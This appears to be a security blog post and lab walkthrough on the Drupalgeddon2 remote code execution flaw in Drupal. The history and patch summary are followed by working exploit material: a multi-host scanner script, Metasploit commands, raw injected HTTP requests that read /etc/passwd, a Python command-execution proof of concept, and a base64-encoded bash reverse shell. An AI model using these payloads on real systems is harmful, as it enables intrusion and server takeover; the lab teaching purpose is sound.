Exploring the Long-Term Impact of Drupalgeddon 2 on Web Application Security
Introduction
In late March 2018, the Drupal community faced a critical security incident that reverberated throughout the web development landscape.
Drupalgeddon2, also known as CVE-2018-7600, was a remote code execution vulnerability discovered in Drupal’s core, posing a significant risk to countless websites powered by the popular content management system.
This vulnerability was affecting many Drupal 7 and Drupal 8 websites (>=7.0 <7.58 || >= 8.0.0 <8.3.9 || >=8.4.0 <8.4.6 || >=8.5.0 <8.5.1 to be exact).
The risk scored for this vulnerability was 24/25 (Highly Critical) by NIST Common Vulnerability Scoring System.
Chart By: TheHackerNews
The term “Drupalgeddon” itself is a play on words, blending “Drupal” with “Armageddon” implying a catastrophic, or apocalyptic, event for Drupal sites.
Understanding Drupalgeddon2: A Brief Recap
The main vulnerability exploited in Drupalgeddon2 was a flaw stemming from insufficient input sanitization within Drupal’s Form API. Here’s a brief overview of the vulnerability’s technical details:
Form API & Rendering:
Drupal’s Form API is a system that allows developers to create and handle forms. During the rendering process, Drupal uses callback functions to process form elements.
The vulnerability arose because user-supplied input was not properly sanitized before being passed to these callback functions.
Vulnerable Parameter:
Attackers could inject malicious code into specific Form API parameters, such as:
#post_render
#pre_render
#access_callback
#lazy_builder
These parameters control callback functions that are executed during the rendering process.
Remote Code Execution:
By injecting malicious code into these parameters, attackers could force Drupal to execute arbitrary PHP code on the server.
This granted them the ability to take complete control of the affected website.
Insufficient Input Sanitization:
The core issue was that Drupal failed to adequately validate and sanitize user-supplied input before it was processed by the rendering engine. This allowed attackers to inject malicious code that was then executed by the server.
The Immediate Response: Patching and Mitigation
Upon the discovery of Drupalgeddon 2, the Drupal Security Team acted swiftly to address the vulnerability and protect vulnerable sites.
Security updates were released within hours of the vulnerability’s disclosure, urging site administrators to apply patches immediately.
Despite these efforts, many sites were compromised before they could apply the necessary updates, leading to data breaches and unauthorized access incidents.
Furthermore, they offered FAQs and resources to aid users in understanding and mitigating the vulnerability, ensuring a coordinated and effective response to safeguard the Drupal community.
Patch Releases:
Key Steps Taken to Stop Drupalgeddon2
Input Sanitization:
The primary solution involved implementing stricter input sanitization. The patch focused on preventing the injection of malicious render arrays.
Specifically, the Drupal team introduced a mechanism to filter out potentially dangerous array keys, particularly those starting with a hash symbol (#), which are used for internal rendering properties.
RequestSanitizer Class:
A key component of the patch was the introduction of a RequestSanitizer class.
This class included a method designed to strip dangerous values from input arrays.
The sanitization process occurred early in Drupal’s bootstrap process, aiming to neutralize malicious input before it could be processed by vulnerable functions.
Targeting Render Arrays:
The vulnerability exploited how Drupal handles “render arrays,” which are used to define the structure of UI elements.
The patch specifically targeted the manipulation of these render arrays by filtering out potentially harmful properties like #post_render, #pre_render, #access_callback, and #lazy_builder, which could be used to execute arbitrary code.
Version Updates:
The Drupal team released updated versions of Drupal core (e.g., Drupal 7.58, Drupal 8.5.1) that included the security patch.
They also provided patch files for those who couldn’t immediately update their Drupal installations.
Long-Term Impact on Web Application Security
The Drupalgeddon2 vulnerability had a significant and lasting impact on web application security, highlighting several crucial lessons and trends.
Timely Patching and Updates:
Drupalgeddon2 underscored the critical need for organizations to prioritize and implement timely security patches. The rapid exploitation of this vulnerability demonstrated that delays in patching can lead to severe consequences.
It emphasized the importance of robust patch management processes, including regular security audits and the ability to quickly deploy updates.
Focus on Secure Coding Practices:
The vulnerability stemmed from inadequate input sanitization, which highlighted the need for developers to rigorously validate user-supplied data.
This incident led to a renewed focus on secure coding practices which are essential to prevent similar vulnerabilities in the future.
Heightened Security Monitoring:
The widespread exploitation of Drupalgeddon2 led to increased awareness of the need for effective intrusion detection and prevention systems.
Organizations recognized the value of Security Information and Event Management (SIEM) solutions for monitoring security events and detecting suspicious activity
Supply Chain Security Awareness:
Drupalgeddon2 served as a stark reminder that content management systems, despite their popularity, are not immune to critical security vulnerabilities.
It prompted CMS vendors and users to adopt stricter security measures, including regular security audits and vulnerability assessments.
Continued Threat:
Even years later, unpatched systems remain vulnerable to Drupalgeddon2 exploits. This highlights the ongoing challenge of securing legacy systems.
The vulnerability has been incorporated into automated attack tools, making it easier for attackers to target vulnerable websites.
There was an article published by Akamai in 2019, after 1 and half year of the vulnerability was discovered, that Drupalgeddon2 was still being used in attack campaigns. Akamai’s Blog Post
Hands-On Lab: Exploring the Technical Details of Drupalgeddon 2
To gain a deeper understanding of Drupalgeddon2 and its technical implications, let’s walk through a hands-on lab demo that demonstrates the vulnerability and its impact on a vulnerable Drupal site. By exploring the technical details of the vulnerability, you can appreciate the severity of the issue and the importance of timely patching in securing web applications.
Lab Link: https://my.ine.com/labs/0a57edef-f4b7-4b31-8635-5b3c297b819d
This lab is a part of INE’s Vulnerabilities collection that is updated monthly.
Vulnerability collection: https://my.ine.com/collections/bd6f07ba-b00e-4a43-afa5-6b2bdc3a25d8
Challenge Details
In this lab, we will learn how to exploit Drupal CMS with different-different techniques.
Read more about the exploit: National Vulnerability Database
Lab Environment
In this lab environment, the user will get access to a Kali GUI instance. A vulnerable Drupal CMS is deployed on http://demo.ine.local. The CMS is vulnerable to Drupalgeddon Remote Code Execution (CVE-2018-7600)
Tools
The best tools for this lab are:
Metasploit Framework
Nmap
Bash Shell
Python
Burp Suite
Solution
Scanning and Identifying the running Drupal CMS
Detecting the vulnerability
Exploitation using Metasploit
Manually Exploitation
Writing a Python script
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check for open ports on the target machine (demo.ine.local).
Command:
nmap demo.ine.local
Port 80 is open on the target machine.
Step 3: Run nmap on port 80 and find more about the running service.
Command:
nmap -p 80 -sS -sV demo.ine.local
-p: Only scan specified ports
-sS: TCP SYN/Connect()/ACK/Window/Maimon scans
-sV: Probe open ports to determine service/version info
The target is running Apache httpd 2.4.18 on port 80.
Step 4: Access the webserver using the firefox browser and find the running application.
URL:
http://demo.ine.local
Drupal CMS is running.
Step 5: Access the CHANGELOG.txt file on the server. The version information should be present in this file.
URL:
http://demo.ine.local/CHANGELOG.txt
By default, the CHANGELOG.txt is present in the drupal archive
https://ftp.drupal.org/files/projects/drupal-{VERSION}.tar.gz.
So, if the admin hasn’t deleted the file, we can quickly identify the running CMS version.
The target is running Drupal 7.57, 2018-02-21 version.
Search for the public exploit of the Drupal 7.57 application using searchsploit.
Searchsploit:
searchsploit is a bash script that helps find exploits for services, OSes, and applications.
Command:
searchsploit drupal 7.57
Drupal is vulnerable to remote command execution (RCE). Also, there is a Metasploit module available.
Vulnerability Identification
There is a python script developed by fyraiga. Run the script and confirm the vulnerability
The code is as follows:
#written by fyraiga
#POC adapted from FireFart CVE-2018-7600
#import here
import argparse
import ipaddress
import itertools
import re
import requests
import sys
import time
#functions
def exploit(ip_targets):
send_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
send_data = {'form_id':'user_pass', '_triggering_element_name':'name'}
ipregex = re.compile("(\d{1,3}\.){3}\d{1,3}.*")
num_scanned = len(ip_targets)
num_vuln = 0
time_start = time.time()
for ip_target in ip_targets:
result = ipregex.match(ip_target)
ip_target = "http://"+ip_target
if result is not None:
r = None
print("{:=<74}".format(""))
print("[~] {:<60} [{:^7}]".format(ip_target, "..."), end="", flush=True)
if verbose == True:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=3)
except requests.exceptions.Timeout:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Server seems to be down (Timeout)".format("--"))
continue
except requests.exceptions.ConnectionError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unable to connect to the webserver (Connection Error)".format("--"))
continue
except requests.exceptions.HTTPError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: 4xx/5xx".format("--"))
continue
except requests.exceptions.InvalidURL:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Invalid URL.".format("--"))
continue
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unexpected Error".format("--"))
sys.exit()
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
print("{:>7} OK: Alive".format("--"))
else:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=5)
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
continue
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
#Finding block of data to check server type
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
if verbose == True:
print("{:>7} OK: Server seems to be running Drupal".format("--"))
found = m.group(1)
send_params2 = {'q':'file/ajax/name/#value/' + found}
send_data2 = {'form_build_id':found}
r = requests.post(ip_target, data=send_data2, params=send_params2)
r.encoding = 'ISO-8859-1'
out = r.text.split("[{")[0].strip()
if out == "":
print("{:>7} Patched (CVE-2018-7600)".format("--"))
continue
else:
print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
num_vuln += 1
else:
print("{:>7} Doesnt seem like a Drupal server?".format("--"))
continue
else:
raise ValueError("Invalid IP Address")
time_fin = time.time()
print("{:=<74}".format(""))
print("[+] {} target(s) scanned, {} target(s) vulnerable (CVE-2018-7600)".format(num_scanned, num_vuln))
print("[+] Scan completed in {:.3f} seconds".format(time_fin-time_start))
def process_file(target):
hostlist = []
try:
file = open(target, "r")
for line in file:
hostlist.append(line.strip())
exploit(hostlist)
except FileNotFoundError:
print("[!] Unable to locate file. Check file path.")
sys.exit()
except ValueError:
print("[!] Invalid value in file. Ensure only IPv4 addresses exist!")
sys.exit()
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_multiple(target):
hostlist = target.split(",")
try:
for data in hostlist:
data = data.strip()
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 addresses are accepted.")
sys.exit()
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_range(target):
try:
hostlist = []
raw_octets = target.split(".")
octets = [x.strip().split("-") for x in raw_octets]
octet_range = [range(int(x[0]), int(x[1])+1) if len(x) == 2 else x for x in octets]
for x in itertools.product(*octet_range):
hostlist.append('.'.join(map(str,x)).strip())
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 ranges are accepted.")
sys.exit()
except Exception as e:
print(e)
print("Unexpected Errror")
sys.exit()
def process_ip(target):
try:
exploit([target.strip()])
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
def process_cidr(target):
hostlist = []
try:
net = ipaddress.ip_network(target.strip(), strict=False)
for host in net.hosts():
hostlist.append(str(host))
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
#main here
def main():
parser = argparse.ArgumentParser(prog="drupalgeddon2-scan.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
try:
parser.add_argument("target", help="IP of target site(s)")
parser.add_argument('-c', "--cidr", default=False, action="store_true", help="Generate & scan a range given a CIDR address")
parser.add_argument('-f', "--file", default=False, action="store_true", help="Retrieve IP Addresses from a file (1 per line)")
parser.add_argument('-i', "--ip", default=True, action="store_true", help="Single IP Address (CIDR migrated to a seperate mode)")
parser.add_argument('-m', "--multiple", default=False, action="store_true", help="Multiple IP Adddress e.g. 192.168.0.1,192.168.0.2,192.168.0.3")
parser.add_argument('-r', "--range", default=False, action="store_true", help="IP Range e.g. 192.168.1-2.0-254 (nmap format)")
parser.add_argument('-v', "--verbose", default=False, action="store_true", help="Provide a more verbose display")
parser.add_argument("-o", "--http-only", default=False, action="store_true", help="To be implemented (Current state, https not implemented)")
parser.add_argument("-s", "--https-only", default=False, action="store_true", help="To be implemented")
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
try:
args, u = parser.parse_known_args()
except Exception:
print("[!] Invalid arguments!")
sys.exit()
#renaming variable
global verbose
verbose = args.verbose
#Verbose message
print("[~] Starting scan...")
#IP range in a CIDR format
if args.cidr == True:
process_cidr(args.target)
#IPs from a file
elif args.file == True:
process_file(args.target)
#Multiple IPs (separated w commas)
elif args.multiple == True:
process_multiple(args.target)
#IP Range (start-end)
elif args.range == True:
process_range(args.target)
#IP Address/CIDR
elif args.ip == True:
process_ip(args.target)
#Unrecognised arguments
else:
print("[!] Unexpected Outcome! This should not be happening. Please inform me at Github!")
sys.exit()
sys.exit()
#ifmain here
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print ("\n-- Ctrl+C caught. Terminating program.")
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github")
Save the script on the attacker machine and run the script.
Command:
nano scan.py
Paste the code and save the file.
Command:
python3 scan.py 192.142.121.3
Note: Provide only the target IP Address as an argument
The target is vulnerable to CVE-2018-7600
Step 6: Run the Metasploit framework and search for the drupal_drupalgeddon2 module.
This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
Source: https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/
Commands:
msfconsole -q
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
Step 7: There is a Metasploit module available. Check all the available module options.
Command: show options
All options are already set. Configure LHOST and RHOSTS, then exploit the application.
Check the attacker’s machine IP address.
Command: ip addr
In this case it is 192.142.121.2.
Exploit Drupal CMS
Commands:
set RHOSTS demo.ine.local
set LHOST 192.142.121.2
set VERBOSE true
check
exploit
Received a meterpreter session.
Successfully exploited the Drupal CMS using the metasploit framework.
Manual Exploitation
Before exploiting the vulnerability manually, first look into the technical details.
The leading cause of this vulnerability is the Drupal Form API known as “Renderable Arrays.” The vulnerability exists due to insufficient sanitation of inputs passed via Form API and AJAX requests. It is an extended API used to represent the structure of most of the UI elements in Drupal, i.e., pages, blocks, nodes, etc. An attacker can trigger the vulnerability by injecting a malicious render array responsible for RCE.
The API was introduced in the drupal 7.0 version and is used for rendering structured data (Renderable Arrays) into HTML markup
In brief, Drupal had insufficient input sanitation on Form API (FAPI) AJAX requests. As a result, this potentially enabled an attacker to inject a malicious payload into the internal form structure. This would have caused Drupal to execute it without user authentication. By exploiting this vulnerability, an attacker would have been able to carry out an entire site takeover of any Drupal customer.
Source: https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/
How to exploit?
First, send the malicious render request to:
/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=
Successful submission generates the form_build_id that is used for rendering the data which causes command execution, eg:
file/ajax/name/#value/form-<ID>
Burp Suite is a good tool for sending the POST request and exploiting the vulnerability.
Step 1: Start burp suite and configure the proxy
Click on Start Burp
Burp Suite is running. Switch the tab to Proxy
The intercept is already on. Switch back to the firefox browser and enable the proxy.
Go to the Right side of the firefox browser and click on the FroxyFoxy icon.
Then, click on Burp Suite / ZAP config.
The Burp Suite configuration is done. Access the /?q=user/password page, then click on E-mail new password and intercept the request.
If the Drupal CMS has not yet loaded, there may be intercepted requests in Burp Suite causing the website to wait. You can click the forward button to complete these requests.
URL:
http://demo.ine.local/?q=user/password
Captured the request. Send the request to the burp repeater.
Step 2: Inject the malicious render array.
&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=whoami
Encoded
&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami
Modify the request and use the above-encoded value and send the request. Also, modify the headers.
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
Send the request
Found the form build-id
form-lrXSob0XwsqBvr1j-D0znkMPnu9i2PN6gHZulG7HVFg
Send the request to render the form.
POST /?q=file/ajax/name/#value/form-<id> HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-<id>
Encode the request and send it.
POST /?q=file%2Fajax%2Fname%2F%23value%2Fform-lrXSob0XwsqBvr1j-D0znkMPnu9i2PN6gHZulG7HVFg HTTP/1.1
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-lrXSob0XwsqBvr1j-D0znkMPnu9i2PN6gHZulG7HVFg
Use the above request to execute the whoami command on the target machine. The above request renders the form and runs the command on the system.
The whoami command returned an output www-data.
This confirms the exploitation of the vulnerability. You could also send:
/?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cat+/etc/passwd
request to read the /etc/passwd file. Follow both steps again.
Exploiting Using Python
Step 1: There are a lot of PoC available to exploit Drupalgeddon vulnerability.
In this case, use script created by Christian Mehlmauer
import requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(target, data=post_params, params=get_params)
print(r.text)
Modifying the script that accepts the target server and command arguments.
import requests
import re
import argparse
my_parser = argparse.ArgumentParser(description='Drupalgeddon Remote Command Execution')
my_parser.add_argument('-T', '--URL', help='Target URL eg: http://demo.ine.local', type=str)
my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
args = my_parser.parse_args()
target = args.URL
cmd = args.COMMAND
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(target, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(target, data=post_params, params=get_params)
print(r.text)
Save the script and execute a command on the target machine.
Command:
nano poc.py
Paste the code and save the file.
Command:
python3 poc.py -h
Command:
python3 poc.py -T http://demo.ine.local -C ‘whoami; pwd’
Both the commands were correctly executed on the target server and received an output.
Get the reverse bash shell of the target server.
Command:
echo ‘bash -i >& /dev/tcp/192.142.121.2/4444 0>&1’ | base64
Command:
echo ‘YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTQyLjEyMS4yLzQ0NDQgMD4mMQo=’ | base64 -d | bash -i
Note: Make sure your attacker’s machine IP address
Start netcat listener on port 4444.
Command:
nc -lvp 4444
Execute the script and the bash reverse shell command.
Commands:
python3 poc.py -T http://demo.ine.local -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTQyLjEyMS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i'
id
ip addr
The command output:
Received the reverse shell. We have successfully exploited the Drupal server using the Metasploit Framework and a Python script. Also, we have learned how to exploit the CMS using the burp suite by modifying the requests.
Conclusion
Drupalgeddon 2 remains a significant milestone in the history of web application security, serving as a stark reminder of the critical importance of timely patching, secure coding practices, and robust incident response strategies. The enduring impact of this vulnerability continues to shape security practices in web development, emphasizing the need for vigilance, education, and proactive security measures. As organizations navigate the evolving threat landscape, the lessons learned from Drupalgeddon 2 provide valuable insights into securing web applications against emerging risks. It taught us that security is not a one-time fix but an ongoing process. By embracing a culture of security awareness, prioritizing patching, and adopting robust security practices, we can build a more secure online world.
References
Try this exploit for yourself! With an INE Subscription access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!